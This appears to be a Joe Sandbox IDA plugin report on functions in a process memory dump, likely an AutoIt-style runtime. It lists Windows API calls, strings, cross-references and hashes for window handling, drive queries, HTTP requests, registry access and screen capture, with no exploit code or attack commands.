Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: d613635cbf827e04ac5b629231785af090864d2eaeb27b4c6c9e4e01497cb8d0
Instruction ID: 787afae65ac7531c9fd34f42dac34ebcb06f80a317c9a6d6968eec71d71f3353
Opcode Fuzzy Hash: d613635cbf827e04ac5b629231785af090864d2eaeb27b4c6c9e4e01497cb8d0
Instruction Fuzzy Hash: 18212933E417196BE7616B64AD4ABBD339CEF05B71F40013AF941A3291DF688808FB91

Function 00FC30F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FC318D
_wcslen.LIBCMT ref: 00FC31F8

Strings

NAME, xrefs: 00FC3335, 00FC3346
CLASSNN, xrefs: 00FC31F3, 00FC3204
TEXT, xrefs: 00FC347C
REGEXPCLASS, xrefs: 00FC3255, 00FC3266
INSTANCE, xrefs: 00FC3453
CLASS, xrefs: 00FC3188, 00FC31A5

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: be919e37618fbde6a96240e735285c79145e6851e7e82e5abd18c0097427947a
Instruction ID: 7bce44212bbff13c3a9a492b0c40f82fb9645ce40d87d17b2f25066c186ffacb
Opcode Fuzzy Hash: be919e37618fbde6a96240e735285c79145e6851e7e82e5abd18c0097427947a
Instruction Fuzzy Hash: A1E1B332E005279ACB18DF68C952FEDBBB4BF547A0F54C11EE456E7240DB30AE45AB90

Function 00FD44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00FFCC08), ref: 00FD4527
_wcslen.LIBCMT ref: 00FD453B
_wcslen.LIBCMT ref: 00FD4599
_wcslen.LIBCMT ref: 00FD45F4
_wcslen.LIBCMT ref: 00FD463F
_wcslen.LIBCMT ref: 00FD46A7

Part of subcall function 00F7F9F2: _wcslen.LIBCMT ref: 00F7F9FD

GetDriveTypeW.KERNEL32(?,01026BF0,00000061), ref: 00FD4743

Strings

unknown, xrefs: 00FD4708
cdrom, xrefs: 00FD458F, 00FD4594
removable, xrefs: 00FD45EA, 00FD45EF
fixed, xrefs: 00FD4635, 00FD463A
network, xrefs: 00FD469D, 00FD46A2
all, xrefs: 00FD4531, 00FD4536
ramdisk, xrefs: 00FD46F1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 3f818b659b5d0dc1792b8d345830ed586c99accf245853ff7f4855b5cb158323
Instruction ID: 7ccc1fc06d2e83661c4878ca847dc44acf48db0ebb2da05cf60c6b3c05de1cf2
Opcode Fuzzy Hash: 3f818b659b5d0dc1792b8d345830ed586c99accf245853ff7f4855b5cb158323
Instruction Fuzzy Hash: CDB1E231A083029FC710DF28D890A6AF7E6BFA5760F58491EF496C7391D734E844EB92

Function 00F6326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(01031990), ref: 00FA2F8D
GetMenuItemCount.USER32(01031990), ref: 00FA303D
GetCursorPos.USER32(?), ref: 00FA3081
SetForegroundWindow.USER32(00000000), ref: 00FA308A
TrackPopupMenuEx.USER32(01031990,00000000,?,00000000,00000000,00000000), ref: 00FA309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00FA30A9

Strings

0, xrefs: 00F6327D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 359eebceb4d816cc8af913e5965a3f790571599154613eb02f48d2297cb02c50
Instruction ID: 73be6f3f0668bfd0f705dd46348fcfeac6dac08c218a3d18db52b07b5e55bab4
Opcode Fuzzy Hash: 359eebceb4d816cc8af913e5965a3f790571599154613eb02f48d2297cb02c50
Instruction Fuzzy Hash: 22712B71B44219BEEB218F28CD49FAABF68FF06334F244206F5156A1D0C7B1A954F791

Function 00FF6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00FF6DEB

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00FF6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00FF6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00FF6E94
DestroyWindow.USER32(?), ref: 00FF6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00F60000,00000000), ref: 00FF6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00FF6EFD
GetDesktopWindow.USER32 ref: 00FF6F16
GetWindowRect.USER32(00000000), ref: 00FF6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00FF6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00FF6F4D

Part of subcall function 00F79944: GetWindowLongW.USER32(?,000000EB), ref: 00F79952

Strings

0, xrefs: 00FF6D98
tooltips_class32, xrefs: 00FF6E58, 00FF6EDD

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 5cc9eaf299be1017ca97c89868f8084a7c63dc9bb939c03db5d51998a71b5bd8
Instruction ID: 736b70141c342e11ce77bae6c57dafbae2f41a9b8a7376609341bedc8b366731
Opcode Fuzzy Hash: 5cc9eaf299be1017ca97c89868f8084a7c63dc9bb939c03db5d51998a71b5bd8
Instruction Fuzzy Hash: 21717A71504248AFDB21CF18D844BBABBE9FF89710F04081EFA89C72A1DB75AD05EB15

Function 00FF911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

DragQueryPoint.SHELL32(?,?), ref: 00FF9147

Part of subcall function 00FF7674: ClientToScreen.USER32(?,?), ref: 00FF769A
Part of subcall function 00FF7674: GetWindowRect.USER32(?,?), ref: 00FF7710
Part of subcall function 00FF7674: PtInRect.USER32(?,?,00FF8B89), ref: 00FF7720

SendMessageW.USER32(?,000000B0,?,?), ref: 00FF91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00FF91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00FF91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00FF9225
SendMessageW.USER32(?,000000B0,?,?), ref: 00FF923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00FF9255
SendMessageW.USER32(?,000000B1,?,?), ref: 00FF9277
DragFinish.SHELL32(?), ref: 00FF927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00FF9371

Strings

@GUI_DRAGID, xrefs: 00FF92E9
@GUI_DROPID, xrefs: 00FF929E
@GUI_DRAGFILE, xrefs: 00FF9320

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 1843520ea2a51118726922ab1095d277f4fc8cee9dc665b2d2c0f125117d7ec7
Instruction ID: 462e3a3bae824048883467066554f1a3f0843a52fe0f6b2eef04ed0de1647a07
Opcode Fuzzy Hash: 1843520ea2a51118726922ab1095d277f4fc8cee9dc665b2d2c0f125117d7ec7
Instruction Fuzzy Hash: 56617971108309AFC701DF60CD85EAFBBE8EF88350F00091EF595931A1DB709A49DB92

Function 00FDC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00FDC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00FDC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00FDC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00FDC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00FDC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00FDC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FDC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00FDC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00FDC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00FDC5F0
InternetCloseHandle.WININET(00000000), ref: 00FDC5FB

Strings

, xrefs: 00FDC575

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 23ef5756b352afaf687094822961fdb5fe2e325c4e9e6e1e343faa90620b1f53
Instruction ID: 5cdf2de7abaad74714bd5f499bfb7293ed58f09d9e0881c2e69b2648e992294b
Opcode Fuzzy Hash: 23ef5756b352afaf687094822961fdb5fe2e325c4e9e6e1e343faa90620b1f53
Instruction Fuzzy Hash: BB513AB150020ABFDB219F60D988BBB7BBDFF08754F08451AF94696250DB34E944FBA0

Function 00FF856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00FF8592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00FF85A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00FF85AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00FF85BA
GlobalLock.KERNEL32(00000000), ref: 00FF85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00FF85D7
GlobalUnlock.KERNEL32(00000000), ref: 00FF85E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00FF85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00FF85F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,00FFFC38,?), ref: 00FF8611
GlobalFree.KERNEL32(00000000), ref: 00FF8621
GetObjectW.GDI32(?,00000018,?), ref: 00FF8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00FF8671
DeleteObject.GDI32(?), ref: 00FF8699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00FF86AF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 724c07b9bd51b78c37f9d249cc5cee07ac673d288ce81f8f7e6a816881e48976
Instruction ID: e2f92f63fbb74ee9ab1dc441882d3466e32771f3bb97c53690628474426b1805
Opcode Fuzzy Hash: 724c07b9bd51b78c37f9d249cc5cee07ac673d288ce81f8f7e6a816881e48976
Instruction Fuzzy Hash: 8A41F67560021CAFDB119FA5CD48EBA7BBCEF89B61F144058F909EB260DB309D05EB60

Function 00FD14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00FD1502
VariantCopy.OLEAUT32(?,?), ref: 00FD150B
VariantClear.OLEAUT32(?), ref: 00FD1517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00FD15FB
VarR8FromDec.OLEAUT32(?,?), ref: 00FD1657
VariantInit.OLEAUT32(?), ref: 00FD1708
SysFreeString.OLEAUT32(?), ref: 00FD178C
VariantClear.OLEAUT32(?), ref: 00FD17D8
VariantClear.OLEAUT32(?), ref: 00FD17E7
VariantInit.OLEAUT32(00000000), ref: 00FD1823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00FD1625
Default, xrefs: 00FD16AF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 54e1c6c440934fe463d6d64c643d7aa182a24880cae49df7c28efa2fc3ab1472
Instruction ID: ac4de16aa075820b90fd4b7db97e671a7721d6aebca5e9936a05c2a12c178b44
Opcode Fuzzy Hash: 54e1c6c440934fe463d6d64c643d7aa182a24880cae49df7c28efa2fc3ab1472
Instruction Fuzzy Hash: 64D1DF72A00115EBDB10AF65E885B7DB7B6BF45700F1C8057E446AB290DB78DC44FBA2

Function 00FEB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FEC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FEB6AE,?,?), ref: 00FEC9B5
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FEC9F1
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FECA68
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FECA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FEB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00FEB772
RegDeleteValueW.ADVAPI32(?,?), ref: 00FEB80A
RegCloseKey.ADVAPI32(?), ref: 00FEB87E
RegCloseKey.ADVAPI32(?), ref: 00FEB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00FEB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00FEB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00FEB922
FreeLibrary.KERNEL32(00000000), ref: 00FEB983
RegCloseKey.ADVAPI32(00000000), ref: 00FEB994

Strings

RegDeleteKeyExW, xrefs: 00FEB8FE
advapi32.dll, xrefs: 00FEB8ED

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: eeb24c8a144e110f3ba3a9668de1a95c916a69d7ceea52178737a90a168feff6
Instruction ID: 864870f3f4483d50f86947c739a6c358e413fd01e72b482e50ff03fd795194c6
Opcode Fuzzy Hash: eeb24c8a144e110f3ba3a9668de1a95c916a69d7ceea52178737a90a168feff6
Instruction Fuzzy Hash: E8C18E31608241AFD710DF15C895F2ABBE5BF84318F14849CF49A8B3A2CB75ED46EB91

Function 00FE255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00FE25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00FE25E8
CreateCompatibleDC.GDI32(?), ref: 00FE25F4
SelectObject.GDI32(00000000,?), ref: 00FE2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00FE266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00FE26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00FE26D0
SelectObject.GDI32(?,?), ref: 00FE26D8
DeleteObject.GDI32(?), ref: 00FE26E1
DeleteDC.GDI32(?), ref: 00FE26E8
ReleaseDC.USER32(00000000,?), ref: 00FE26F3

Strings

(, xrefs: 00FE268D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 9d455b8fe540877ea074641e7359a4e983915d754d53b3a8181cbd6b13dd385f
Instruction ID: 63e017c8bb3366884d27925e61802877b6a348cb7ab9e718106ab45456d2e04a
Opcode Fuzzy Hash: 9d455b8fe540877ea074641e7359a4e983915d754d53b3a8181cbd6b13dd385f
Instruction Fuzzy Hash: 24610375D00219EFCF04CFA4D984AAEBBB9FF48310F208529E555A7250E774A951DF90

Function 00F9DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00F9DAA1

Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D659
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D66B
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D67D
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D68F
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D6A1
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D6B3
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D6C5
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D6D7
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D6E9
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D6FB
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D70D
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D71F
Part of subcall function 00F9D63C: _free.LIBCMT ref: 00F9D731

_free.LIBCMT ref: 00F9DA96

Part of subcall function 00F929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000), ref: 00F929DE
Part of subcall function 00F929C8: GetLastError.KERNEL32(00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000,00000000), ref: 00F929F0

_free.LIBCMT ref: 00F9DAB8
_free.LIBCMT ref: 00F9DACD
_free.LIBCMT ref: 00F9DAD8
_free.LIBCMT ref: 00F9DAFA
_free.LIBCMT ref: 00F9DB0D
_free.LIBCMT ref: 00F9DB1B
_free.LIBCMT ref: 00F9DB26
_free.LIBCMT ref: 00F9DB5E
_free.LIBCMT ref: 00F9DB65
_free.LIBCMT ref: 00F9DB82
_free.LIBCMT ref: 00F9DB9A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: eaf90320ca93dac54fe801869cec1abdc7eaf742f54714ff3fde297f9aa7ecc2
Instruction ID: a3b19e995b1f2b26ffb754e057fd4bd1b2dd0abce667ec2ec8d941cf3ff3ef70
Opcode Fuzzy Hash: eaf90320ca93dac54fe801869cec1abdc7eaf742f54714ff3fde297f9aa7ecc2
Instruction Fuzzy Hash: A2315831A04204AFFF61AE39EC45B5AB7E9FF50320F614419E449D7192DB39AC90BB60

Function 00FC365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00FC369C
_wcslen.LIBCMT ref: 00FC36A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00FC3797
GetClassNameW.USER32(?,?,00000400), ref: 00FC380C
GetDlgCtrlID.USER32(?), ref: 00FC385D
GetWindowRect.USER32(?,?), ref: 00FC3882
GetParent.USER32(?), ref: 00FC38A0
ScreenToClient.USER32(00000000), ref: 00FC38A7
GetClassNameW.USER32(?,?,00000100), ref: 00FC3921
GetWindowTextW.USER32(?,?,00000400), ref: 00FC395D

Strings

%s%u, xrefs: 00FC3734

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

